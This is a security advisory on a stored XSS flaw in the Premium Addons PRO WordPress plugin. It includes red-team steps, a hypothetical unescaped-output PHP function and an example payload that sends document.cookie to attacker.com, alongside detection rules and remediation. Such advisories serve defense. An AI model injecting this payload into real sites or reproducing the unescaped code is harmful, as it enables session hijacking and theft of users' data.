CVE-2024-2239

Executive Summary

CVE-2024-2239 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons PRO WordPress plugin, specifically within the Premium Magic Scroll module. The flaw exists in all versions up to and including 2.9.12 due to insufficient input sanitization and output escaping. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when a user accesses an injected page. This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted vendors. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (affects other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for authenticated access, but the potential for widespread impact on WordPress sites using the plugin is significant.

Deep Dive & Mechanics

The vulnerability resides in the Premium Magic Scroll module of the Premium Addons PRO plugin. The module fails to properly sanitize user-supplied input and escape output when rendering dynamic content. An attacker with contributor-level access can inject malicious JavaScript or HTML into page content. When other users (including administrators) view the affected page, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise.

The root cause is the lack of proper validation and escaping in the module's rendering functions, likely in PHP files handling shortcodes or widget output. The vulnerability is stored in the database, making it persistent.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

function render_magic_scroll($atts) {
    $content = $atts['content'];
    echo '<div class="premium-magic-scroll">' . $content . '</div>';
}

Patched Code (PHP):

function render_magic_scroll($atts) {
    $content = esc_html($atts['content']);
    echo '<div class="premium-magic-scroll">' . wp_kses_post($content) . '</div>';
}

The patched version uses esc_html() or wp_kses_post() to sanitize and escape output, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with Premium Addons PRO <= 2.9.12, contributor-level account.
2. Steps:
   • Log in as a contributor.
   • Create or edit a page/post.
   • Insert the Premium Magic Scroll module via the page builder.
   • In the content field, inject payload: <script>alert('XSS')</script>.
   • Save and publish.
   • When an admin or other user views the page, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

1. Detection: Monitor for unusual page content modifications by contributor-level users.
2. Prevention: Disable the Premium Magic Scroll module until a patch is applied.
3. Response: Remove malicious content from pages and reset compromised user sessions.

Indicators of Compromise (IOCs)

• File Hashes: (None available; check plugin files for modifications)
• Network Indicators: Outbound connections to unknown domains from WordPress admin pages.
• Log Entries: Suspicious page edits by contributor accounts, especially with script tags in content.
• Database Indicators: Presence of <script> tags in wp_posts.post_content for pages using the Premium Magic Scroll module.

Detection Engineering

YARA Rule

rule CVE_2024_2239_Premium_Addons_XSS {
    meta:
        description = "Detects malicious script injection in Premium Addons PRO Magic Scroll module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2239"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $magic_scroll = "premium-magic-scroll"
    condition:
        $magic_scroll and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-2239 Stored XSS in Premium Addons PRO
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Premium Magic Scroll module
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "premium-magic-scroll"
        http.body|contains|re: "<script[^>]*>.*?</script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2239 Premium Addons PRO Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"premium-magic-scroll"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Premium Magic Scroll module in the plugin settings.
2. Short-term: Restrict contributor-level access to only trusted users.
3. Long-term: Apply a patch when released by the vendor. If no patch is available, consider replacing the plugin with an alternative.
4. Monitoring: Implement WAF rules to block XSS payloads in page content.
5. User Education: Train content creators to avoid inserting raw HTML/JavaScript.

Report generated by Valters IT DevSecOps & CTI Expert